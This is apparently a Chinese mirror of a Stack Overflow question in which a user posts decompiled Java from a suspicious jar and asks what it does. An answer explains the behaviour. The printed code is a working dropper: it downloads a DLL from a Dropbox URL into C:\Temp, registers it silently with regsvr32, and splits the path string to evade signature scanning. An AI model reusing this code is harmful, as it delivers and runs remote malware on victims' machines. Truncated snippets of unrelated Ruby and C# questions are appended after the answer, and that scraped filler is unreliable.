jjzjj

c# - 任何人都可以解释以下用于 Windows 的匿名/恶作剧代码吗?

coder 2024-06-10 原文

警告:

不要在任何机器上执行此代码。它可能是恶意代码

你好, 我在 fb 上得到了一个文件,来自某人,显然看起来像一个 病毒。所以我很高兴地下载了它,因为我不是在 Windows 上。

我在 virustotal 上扫描过,它说这个文件是前段时间扫描过的,意思是这个文件已经流传了一段时间。我仍然对其进行扫描,virustotal 说它是干净的。

所以它的 Zip 文件,带有一个 jar 文件,当我将 jar 文件中的 .class 文件反编译为 java 代码时,它有硬编码的字符串到 C:\ 驱动器和一个用于下载 dat 文件的保管箱网址。然后使用 regsvr 进行一些注册表级别的更改。

所以,在那张纸条上,它被一个无辜的 jar 文件很好地隐藏了。但根据 virustotal

,即使是下载的 module.dat 文件看起来也没有病毒

list 文件:

Manifest-Version: 1.0
Created-By: 1.7.0_45 (Oracle Corporation)
Main-Class: IMG_00045

但是有人可以解释这段代码到底做了什么吗?在向下移动到代码之前..

dat 文件似乎有这个:

PE32 executable (DLL) (GUI) Intel 80386, for MS Windows

import java.io.File;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.InputStream;
import java.io.OutputStream;
import java.net.URL;

public class IMG_00045
{
  public static void main(String[] paramArrayOfString)
    throws Exception
  {
    String str1 = "C:\\T";
    str1 = str1.concat("emp");
    File localFile1 = new File(str1);
    localFile1.mkdir();
    File localFile2 = new File("C:\\Temp\\asdfr1.dat");
    if (localFile2.exists())
    {
      proc();
    } else {
      String str2 = "http://dl.dropboxusercontent.com/s/4w59212euubbjd8/module.dat?dl=1";
      String str3 = "C:\\Temp\\asdfr1.dat";
      dl(str2, str3);
    }
  }

  public static void proc()
    throws IOException
  {
    int i = 1;
    while (i < 7)
    {
      bala();
      i++;
    }
  }

  public static void bala()
    throws IOException
  {
    String[] arrayOfString = { "regsvr32", "/s", "C:\\Temp\\asdfr1.dat" };
    Runtime localRuntime = Runtime.getRuntime();
    Process localProcess = localRuntime.exec(arrayOfString);
  }

  public static void dl(String paramString1, String paramString2)
    throws IOException
  {
    URL localURL = new URL(paramString1);
    FileOutputStream localFileOutputStream = new FileOutputStream(paramString2);
    byte[] arrayOfByte = new byte[250000];

    InputStream localInputStream = localURL.openStream();
    int i;
    while ((i = localInputStream.read(arrayOfByte)) != -1)
      localFileOutputStream.write(arrayOfByte, 0, i);
    localInputStream.close();
    localFileOutputStream.close();
    proc();
  }
}

谁能解释一下 什么是 PE32 dll?为什么开发人员使用两个字符串创建目录? (T + emp) 扫描仪可能会检查这种类型的字符串吗?而且我不太了解 regsvr 代码。它对注册表项和涉及的 dll 做了什么[我提供了下面的链接,该链接是对 dat 文件内容的分析](不执行它:))

我还有dat文件分析链接,可以让别人查看注册表、dll、涉及的锁

https://malwr.com/analysis/ZjIzNDczYTA3OWUyNDY2MTkxNDBhNzI2OWY0MmEzZjM/

最佳答案

该代码从外部保管箱帐户下载文件并在系统中注册。该文件是 DLL 库。 DLL 存储在 C:\Temp 文件夹中。

问题:有人可以解释什么是 PE32 dll 吗? http://en.wikipedia.org/wiki/Portable_Executable

问题:为什么开发人员使用两个字符串创建目录? (T + emp) 可能是扫描仪检查这种类型的字符串?

攻击者阻止签名检测。

问题:它对注册表项和涉及的 dll 做了什么?

攻击者利用任何应用程序按确定顺序搜索所需 dll 的事实。第一个位置是当前文件夹。

攻击者场景:用户从 C:\Temp 文件夹运行任何应用程序。如果应用程序使用同名 DLL 中的方法,它会首先找到恶意 DLL 并执行其代码。

关于c# - 任何人都可以解释以下用于 Windows 的匿名/恶作剧代码吗?,我们在Stack Overflow上找到一个类似的问题: https://stackoverflow.com/questions/22434771/

有关c# - 任何人都可以解释以下用于 Windows 的匿名/恶作剧代码吗?的更多相关文章

  1. ruby - 在 Ruby 中使用匿名模块 - 2

    假设我做了一个模块如下:m=Module.newdoclassCendend三个问题:除了对m的引用之外,还有什么方法可以访问C和m中的其他内容?我可以在创建匿名模块后为其命名吗(就像我输入“module...”一样)?如何在使用完匿名模块后将其删除,使其定义的常量不再存在? 最佳答案 三个答案:是的,使用ObjectSpace.此代码使c引用你的类(class)C不引用m:c=nilObjectSpace.each_object{|obj|c=objif(Class===objandobj.name=~/::C$/)}当然这取决于

  2. ruby - 在 Ruby 程序执行时阻止 Windows 7 PC 进入休眠状态 - 2

    我需要在客户计算机上运行Ruby应用程序。通常需要几天才能完成(复制大备份文件)。问题是如果启用sleep,它会中断应用程序。否则,计算机将持续运行数周,直到我下次访问为止。有什么方法可以防止执行期间休眠并让Windows在执行后休眠吗?欢迎任何疯狂的想法;-) 最佳答案 Here建议使用SetThreadExecutionStateWinAPI函数,使应用程序能够通知系统它正在使用中,从而防止系统在应用程序运行时进入休眠状态或关闭显示。像这样的东西:require'Win32API'ES_AWAYMODE_REQUIRED=0x0

  3. ruby - 如何将脚本文件的末尾读取为数据文件(Perl 或任何其他语言) - 2

    我正在寻找执行以下操作的正确语法(在Perl、Shell或Ruby中):#variabletoaccessthedatalinesappendedasafileEND_OF_SCRIPT_MARKERrawdatastartshereanditcontinues. 最佳答案 Perl用__DATA__做这个:#!/usr/bin/perlusestrict;usewarnings;while(){print;}__DATA__Texttoprintgoeshere 关于ruby-如何将脚

  4. ruby-on-rails - link_to 不显示任何 rails - 2

    我试图在索引页中创建一个超链接,但它没有显示,也没有给出任何错误。这是我的index.html.erb代码。ListingarticlesTitleTextssss我检查了我的路线,我认为它们也没有问题。PrefixVerbURIPatternController#Actionwelcome_indexGET/welcome/index(.:format)welcome#indexarticlesGET/articles(.:format)articles#indexPOST/articles(.:format)articles#createnew_articleGET/article

  5. ruby-on-rails - RSpec:避免使用允许接收的任何实例 - 2

    我正在处理旧代码的一部分。beforedoallow_any_instance_of(SportRateManager).toreceive(:create).and_return(true)endRubocop错误如下:Avoidstubbingusing'allow_any_instance_of'我读到了RuboCop::RSpec:AnyInstance我试着像下面那样改变它。由此beforedoallow_any_instance_of(SportRateManager).toreceive(:create).and_return(true)end对此:let(:sport_

  6. c# - 如何在 ruby​​ 中调用 C# dll? - 2

    如何在ruby​​中调用C#dll? 最佳答案 我能想到几种可能性:为您的DLL编写(或找人编写)一个COM包装器,如果它还没有,则使用Ruby的WIN32OLE库来调用它;看看RubyCLR,其中一位作者是JohnLam,他继续在Microsoft从事IronRuby方面的工作。(估计不会再维护了,可能不支持.Net2.0以上的版本);正如其他地方已经提到的,看看使用IronRuby,如果这是您的技术选择。有一个主题是here.请注意,最后一篇文章实际上来自JohnLam(看起来像是2009年3月),他似乎很自在地断言RubyCL

  7. ruby - 在 Windows 机器上使用 Ruby 进行开发是否会适得其反? - 2

    这似乎非常适得其反,因为太多的gem会在window上破裂。我一直在处理很多mysql和ruby​​-mysqlgem问题(gem本身发生段错误,一个名为UnixSocket的类显然在Windows机器上不能正常工作,等等)。我只是在浪费时间吗?我应该转向不同的脚本语言吗? 最佳答案 我在Windows上使用Ruby的经验很少,但是当我开始使用Ruby时,我是在Windows上,我的总体印象是它不是Windows原生系统。因此,在主要使用Windows多年之后,开始使用Ruby促使我切换回原来的系统Unix,这次是Linux。Rub

  8. C# 到 Ruby sha1 base64 编码 - 2

    我正在尝试在Ruby中复制Convert.ToBase64String()行为。这是我的C#代码:varsha1=newSHA1CryptoServiceProvider();varpasswordBytes=Encoding.UTF8.GetBytes("password");varpasswordHash=sha1.ComputeHash(passwordBytes);returnConvert.ToBase64String(passwordHash);//returns"W6ph5Mm5Pz8GgiULbPgzG37mj9g="当我在Ruby中尝试同样的事情时,我得到了相同sha

  9. ruby - 在匿名 block 中产生 - 2

    我没有理解以下行为(另请参阅inthisSOthread):defdef_testputs'def_test.in'yieldifblock_given?puts'def_test.out'enddef_testdoputs'def_testok'endblock_test=procdo|&block|puts'block_test.in'block.callifblockputs'block_test.out'endblock_test.calldoputs'block_test'endproc_test=procdoputs'proc_test.in'yieldifblock_gi

  10. Vscode+Cmake配置并运行opencv环境(Windows和Ubuntu大同小异) - 2

    之前在培训新生的时候,windows环境下配置opencv环境一直教的都是网上主流的vsstudio配置属性表,但是这个似乎对新生来说难度略高(虽然个人觉得完全是他们自己的问题),加之暑假之后对cmake实在是爱不释手,且这样配置确实十分简单(其实都不需要配置),故斗胆妄言vscode下配置CV之法。其实极为简单,图比较多所以很长。如果你看此文还配不好,你应该思考一下是不是自己的问题。闲话少说,直接开始。0.CMkae简介有的人到大二了都不知道cmake是什么,我不说是谁。CMake是一个开源免费并且跨平台的构建工具,可以用简单的语句来描述所有平台的编译过程。它能够根据当前所在平台输出对应的m

随机推荐